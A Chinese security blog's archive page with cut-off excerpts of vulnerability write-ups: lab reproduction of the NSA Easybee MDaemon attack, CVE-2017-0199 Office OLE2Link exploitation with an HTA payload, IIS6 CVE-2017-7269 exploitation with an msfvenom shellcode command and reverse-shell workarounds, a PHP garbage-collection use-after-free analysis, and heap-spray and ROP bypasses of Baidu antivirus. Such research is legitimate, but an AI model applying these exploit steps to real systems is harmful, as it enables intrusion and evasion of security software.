Archive for the ‘漏洞分析’ Category

NSA方程式Easybee攻击程序漏洞复现与分析

作者:天择实验室wuhj@jowto.com
转载请注明出处:http://blog.jowto.com

影子经纪人(Shadow Brokers)最近曝光的NSA方程式Windows攻击程序中有一个针对Mdaemon邮件服务器漏洞的远程攻击程序——Easybee,本文将对Easybee漏洞攻击进行复现,并分析漏洞攻击原理。

环境搭建

Easybee是针对Mdaemon邮件服务器远程逻辑漏洞的攻击程序,它支持对下列版本的Mdaemon服务器进行攻击:

我这里找到一个10.1.1版本的Mdaemon进行测试,首先需要两台测试机:

在靶机上的Mdaemon中添加域名testeasybee.com,由于这个域名并没有在互联网上注册,所以我们自己搭建一个DNS服务器,把testeasybee.com的MX记录设置为192.168.1.105,并在192.168.1.3中设置DNS服务器为我们自己的DNS。然后在Mdaemon的testeasybee.com域名中新建用户admin@testeasybee.com,密码Aa654321。

漏洞利用复现

在攻击机192.168.1.3中运行Fuzzbunch攻击框架,设置Target IP为192.168.1.105,Callback IP为192.168.1.3,Redirection为no。 e1.PNG

新建Project设置一些log目录之类的常规参数,然后运行Easybee,设置攻击参数: e2.PNG

具体攻击参数的意义为:

TargetIp —— 目标IP地址,这里是192.168.1.105

TargetWCPort —— … 阅读全文

Posted on 六月 14, 2017 at 下午4:15 by admin · Permalink · Comments Closed
In: 漏洞分析

CVE-2017-0199 OFFICE OLE2LINK漏洞利用详解

作者:天择实验室wuhj@jowto.com
转载请注明出处:http://blog.jowto.com

漏洞概述

fireeye最近公布了一个OFFICE 0day,在无需用户交互的情况下,打开word文档就可以通过hta脚本执行任意代码。经过研究发现,此漏洞的成因主要是word在处理内嵌OLE2LINK对象时,通过网络更新对象时没有正确处理的Content-Type所导致的一个逻辑漏洞。

漏洞利用方法

首先准备一台apache服务器,web根目录下保存一个1.rtf文件,内容如下:

test789
<script>
var objShell = new ActiveXObject("wscript.shell");
objShell.Run("%SystemRoot%\\system32\\calc.exe");
</script>

确保apache配置文件conf/mime.types里面有rtf的content type项:

application/rtf                 rtf

用word生成一个空白文档,然后在其中插入一个对象。

选择由文件创建,输入web服务器上1.rtf的URL,一定要选上“链接到文件”:

这时候会生成一个有test789文字内嵌对象的文档,这是双击该对象只能以rtf文件方式打开对象,并不能执行hta脚本。因为生成对象的时候选中“链接到文件”,所以当打开对象的时候会去服务器上请求http://192.168.1.108/1.rtf来更新对象内容。

此时在apache配置文件conf/mime.types中把

application/rtf                 rtf

修改成:

application/hta                 rtf

重启apache后,清除IE缓存:

再双击对象,此时虽然访问的还是1.rtf文件,但是服务器的Content-type会返回application/hta,而word就以hta脚本的方式打开文件:

这样的poc还是需要用户双击对象进行交互的,那么怎么样才能自动运行对象呢?这里就需要把文件保存成rtf格式:

用文本编辑器打开刚保存的rtf文件,找到object标签所在的地方:

{\object\objautlink\rsltpict

修改成:

{\object\objautlink\objupdate
阅读全文
Posted on 四月 17, 2017 at 下午2:01 by admin · Permalink · Comments Closed
In: 漏洞分析

IIS6 ScStoragePathFromUrl溢出漏洞利用方法

作者:天择实验室wuhj@jowto.com
转载请注明出处:http://blog.jowto.com

3月27日华南理工大学的研究人员公布了IIS6的一个栈溢出漏洞(CVE-2017-7269),在2003系统下开启WEBDAV的情况下,可以远程获取Network Service权限。在尝试调试利用此漏洞的时候,我遇到了一些问题并进行了解决,现在把调试和解决方法记录下来作为学习笔记,以便日后总结复习。

漏洞简析

此漏洞出现在httpext.dll的ScStoragePathFromUrl,当发送PROPFIND请求后,IIS会把请求交给WEBDAV的扩展httpext.dll来处理,最终调用到HrCheckIfHeader:

HrCheckIfHeader回去调用CMethUtil::ScStoragePathFromUrl,作用大概是把URL映射到本地文件路径。

在ScStoragePathFromUrl的处理过程中对If头的内容没有正确处理,当出现以If: <http://开头的字符串时,复制过程中会导致栈溢出。

漏洞利用

网上给出此漏洞利用的一个poc:
https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py
利用三次ScStoragePathFromUrl溢出覆盖到IEcb类的虚函数表,最终在调用httpext!ScStripAndCheckHttpPrefix的时候执行到ROP链,rsaenh.dll中的ROP链最终跳转到shellcode执行。

这里的shellcode会被MultiByteToWideChar处理,所以必须编写能经过UNICODE转换的shellcode,可以使用msfvenom来生成shellcode:

msfvenom -p windows/exec CMD="calc.exe" EXITFUNC=thread -e x86/unicode_mixed BufferRegister=ESI

本来以为到这里漏洞利用很简单就会结束,但是改写exp的时候又遇到了一些问题,因此有了本文。

绕过限制

我用msfvenom生成反向回连的shellcode去替换原有shellcode,发现无法回连CMD SHELL,但是会有连接返回来,在目标机器上查看发现没有启动cmd.exe进程。同样用windows/exec payload启动cmd.exe也无法成功,这就奇怪了,难道IIS对启动进程做了限制?禁止w3wp.exe进程去启动cmd.exe?

后来有人发布了msf下的exp程序,试验却可以返回CMDSHELL,观察后发现msf并非直接启动cmd.exe,而是由w3wp启动notepad.exe,再由notepad来启动cmd.exe。这更证实了我的猜测,IIS对自身所创建的进程有限制,无法直接创建cmd进程。

于是我也改造自己的shellcode,由shellcode先创建一个calc.exe进程,然后把shellcode自身注入到这个进程中,在calc中把cmd.exe复制到其他目录,再由原始shellcode创建cmd副本。我用了TK教主的C语言编写shellcode框架(https://github.com/tombkeeper/Shellcode_Template_in_C),shellcode主要代码部分如下:

void ShellCode(EXTENSION_CONTROL_BLOCK *ecb)  //这里直接用IIS里的ECB控制块,后面解释为什么用这个
{
    struct  KERNEL32    
阅读全文
Posted on 四月 17, 2017 at 下午1:25 by admin · Permalink · Comments Closed
In: 漏洞分析

PHP垃圾回收机制UAF漏洞分析

作者:天择实验室wuhj@jowto.com
转载请注明出处:http://blog.jowto.com

1.PHP垃圾回收机制简介

因为PHP当中存在循环引用,仅以refcount计数器作为垃圾回收机制是不够的,因此在PHP5.3中引入了新的垃圾回收机制。
<?php
$a = array('one');
$a[] = &$a;
unset($a);
?>

在PHP5.2及以前的版本中,无法回收变量$a的内存。

在PHP5.3以后的新垃圾回收机制算法,以颜色标记的方法来判断垃圾:

  1. 将所有数组和对象zval节点放入gcrootbuffer,并标记为紫色(潜在垃圾,已放入缓冲区)。当节点缓冲区被塞满(默认为10000)或调用gccollectcycles()时,开始进行垃圾回收。
  2. 以深度优先对zval及其子节点所包含的zval进行refcount减1操作,并标记为灰色(已减一)。
  3. 再次以深度优先判断每一个节点包含的zval的值,如果zval的refcount等于0,那么将其标记成白色(垃圾)。如果zval的refcount大于0,那么将对此zval以及其子节点进行refcount加1还原,同时将这些zval的颜色变成黑色(正常)。
  4. 遍历zval节点,将C中标记成白色的节点zval释放掉。

垃圾回收算法代码如下:
Zend/zend_gc.c
ZEND_API int gc_collect_cycles(TSRMLS_D)
{
[...]
gc_mark_roots(TSRMLS_C);
gc_scan_roots(TSRMLS_C);
gc_collect_roots(TSRMLS_C);
[...]
/* Free zvals */
p =
阅读全文

Posted on 一月 10, 2017 at 下午3:12 by admin · Permalink · Comments Closed
In: Web安全, 漏洞分析

绕过百度杀毒溢出保护的一些方法

作者:椒图实验室

转载请注明出处:http://blog.jowto.com

背景

前段时间参加了http://xp.erangelab.com/举办的XP挑战赛,把绕过一些安全防护软件的过程和大家分享一下。

其中百度杀毒的测试版本为1.8.14.1

使用的IE漏洞

由于比赛系统为XP SP3 +IE8未打任何其他补丁,所以从IE漏洞选取了CVE 2012-1889、CVE 2012-4969、CVE 2013-1347,原因就是这三个能在网上找到现成的exp,后来证明多找几个漏洞还是很必要的,因为适应各种突发变化。

百度防护手段

防堆喷射

这几个漏洞本身没什么可说的,拿到1889就开始在百度卫士上开测,直接IE加载exp,没有成功IE崩溃,这是必然的嘛,要不然还叫什么保护。因为yuange、tk等高人说的DVE技术我还没有学会,所以还是用被大牛们淘汰的堆喷射,用vmmap打开IE进程,发现堆喷的地址都被占位了:

spray1

这就是传说中的占坑,0C0C0C0C这种地址都被占了,这样我们堆喷的时候当然就占不到这个位置了。但是,事实证明这种方法对于防护堆喷射一点作用都没有,我不知道做这个功能的人自己试验了没有,在提前占坑的进程中堆喷射,喷射完成后内存布局是这样的:

spray2

可以看到除了开始的4K以外,后面该喷射占用的内存还是一样占用了,0C0D0000里面照样是我们的的shellcode,我们利用的时候直接用0C0E0C0C这个地址就好了,保证是成功喷射的,所以占坑这招只要改个地址就可以破解了。百度和金山都用了这种占坑的方法,而事实证明这种做法根本没有任何意义,而金山的实现更差,用explib直接喷射仍然占了0C0C0C0C。现在精确堆喷射的技术已经很成熟了,这方面不再多做介绍。

ROP

因为XP SP3上是没有ASLR的,因此我们只要ROP绕过DEP就可以了,喷射成功之后,就成功来到了shellcode中,但还是被百度报了ROP攻击,当然大牛们可以用DVE技术,但是咱还没学会不是,还是老老实实看看ROP怎么绕过保护。网上找的原始exp里的ROP是用VirtualProtect,跟踪发现调用这个API的时候被百度拦截了,于是要找其他的ROP,打开immunity debugger,用mona插件(https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/)找了几种不同的ROP,经过修改调试之后,在百度环境下测试发现VirtualAlloc没有被百度拦截,终于成功进入了真正的shellcode,不过最后一天百度升级补了此方法,最后没有用这种方法,后面绕过的方法随后再介绍。下面是VirtualAlloc的ROP:

var rop_chain = unescape(
"‰uBE4C‰u77BE" + // 0x77BEBE4C # retn [msvcrt.dll]
"‰uBE4B‰u77BE" + // 
阅读全文
Posted on 十一月 7, 2014 at 上午11:13 by admin · Permalink · Comments Closed
In: 漏洞分析
友情链接